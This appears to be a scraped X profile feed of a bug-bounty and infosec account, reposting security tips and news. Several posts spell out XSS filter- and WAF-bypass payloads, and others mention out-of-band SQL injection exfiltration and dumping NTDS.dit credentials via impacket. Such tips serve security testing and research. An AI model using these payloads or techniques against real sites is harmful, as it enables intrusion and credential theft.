EdiAcoo
@AcooEdi
Followers
1K
Following
3K
Media
65K
Statuses
108K
high level of job #Security #websitesecurity #dataprotection #privacy #hacker #malware #Pentesting #Infosec #Tech #Technology
Canadá
Joined June 2018
HTML Sanitizer Bypass Cloudflare leads to XSS payload: '<00 foo="<a%20href="javascript:alert('XSS-Bypass')">XSS-CLick</00>--%20/
3
40
328
Es una herramienta avanzada de análisis de vulnerabilidades web diseñada para ayudar a profesionales de la ciberseguridad y pentesters a detectar, evaluar y mitigar riesgos en aplicaciones web. Su objetivo es fortalecer la seguridad de los sistemas antes de que puedan ser
0
47
248
XSS WAF Bypass — Multi-character HTML Entities This technique uses multi-character HTML entities that are recognized by the browser… More details about this technique are shared in our WhatsApp channel. Channel: https://t.co/KMq9swf9b5
#bugbountytip #BugBounty #XSS #WAF
1
22
134
💥 XSS via MathML? A simple <style><!-- inside MathML triggers a full DOM-based XSS due to parser confusion. 🧠 Not your usual input sanitization failure. 👇 More weird real-world exploits on our WhatsApp channel: https://t.co/KMq9swfH0D
#XSS #BugBounty
0
17
131
Another XSS Payload: {document.body.setAttribute('contenteditable',true)}document.execCommand('insert'+'HTML',false,'<img/'+'src/'+'o'+'nerror=a'+'lert('+'/catfather/)>') #bugbountytips #xss
I was writing a "Security in JavaScript" book, that I explained how you can make an advance XSS payload like this one: [...{[Symbol.iterator]:\u0061lert.bind(null,'catfather')}] #BugBounty #xss #bugbountytips
0
14
106
Out-of-Band SQLi isn’t your typical injection. Instead of leaking data in HTTP responses, it exfiltrates via DNS/HTTP requests. Tools like Burp Collaborator help detect it. Think xp_dirtree in MSSQL or LOAD_FILE() in MySQL. Silent… but deadly. 💉 #BugBounty
0
16
94
I've just added a new PR to impacket to add to secretsdump the "Shadow Snapshot Method via WMI" also for NTDS.dit. This way, NTDS.dit can be downloaded directly from disk without code execution. https://t.co/zJDl7r7xhJ
github.com
NTDS.dit Dumping with Shadow Snapshot Method via WMI (No Code Execution) This method is essentially the same that was implemented in #1719 but also for NTDS.dit. This PR adds a new flag, -use-remot...
0
53
151
Security updates for August 2025 are now available! Details are here: https://t.co/WW89TchdN8
#PatchTuesday #SecurityUpdateGuide
2
24
42
🚨 How #Rhadamanthys Stealer Slips Past Defenses using ClickFix ⚠️ Rhadamanthys is now delivered via ClickFix, combining technical methods and social engineering to bypass automated security solutions, making detection and response especially challenging. 👾 While earlier
5
50
131
OK, some extra... https://t.co/UtYkzmaOEA
After the publication of this blog, featuring how threat actors are looking for alternatives to EV certificates to bypass SmartScreen using weaponized ClickOnce applications, it has been observed how another unrelated campaign of malware has implemented the same method. The
0
2
6
The only MCP server you'll ever need! MindsDB lets you query data from 200+ sources, like Slack, Gmail, social platforms, and more, in both SQL and natural language. A federated query engine that comes with a built-in MCP server. 100% open-source with 35k+ stars!
7
72
379
Pre-release! Airspace Visualizer is now on GitHub — ADS-B + VDL2 + AI assistant. - LInux (Windows w/minor tweaks) - Real-time aircraft display - Semantic RAG + chat - Geospatial overlays - Built for local data feeds 🔗 https://t.co/ETouuuI8ZX Early, rough, and ready for you
16
67
417
🎇 Website now has 7k active users, up another 3k from 4 days ago! 💥added a link on the desktop for sponsorship opportunities for those who may be interested 💥 also a link to my resume as i am still actively looking for employment Last night I worked on some optimization
12
21
128
WinRAR Zero-Day Under Active Exploitation – Update to Latest Version Immediately
thehackernews.com
WinRAR 7.13 fixes CVE-2025-8088 zero-day exploited in attacks on Russian firms, linked to Paper Werewolf.
0
26
86
Yay, I can tell that MSRC just patched another infrastructure wide ATO bug that I reported against Azure FD a month ago. The main Azure error page now has an updated format to remove the domain name from the error message, thus removing a stored XSS via HTTP/2 & HTTP/1 desync.
2
2
63
Intent is crucial in every project. That's why my architecture use: Feature structure approach. Traditional code organization focuses on technical patterns: - Command - Queries - Events This creates a significant problem: codebase doesn't reveal what application actually
6
41
236
🚩 Malicious Go & npm Packages Deliver Cross-Platform Malware and Trigger Remote Data Wipes https://t.co/EufsJNTR1J A recent campaign has unveiled 11 Go packages and 2 npm packages containing malicious post-install behavior. These packages silently launch shells, fetch
thehackernews.com
Attackers used 11 Go and 2 npm packages to spread malware across platforms, putting open-source developers at risk.
0
8
15
~Password reset payload list Don't forget to check out the new video! https://t.co/aLZlkXAHfK
#BugBounty
0
47
229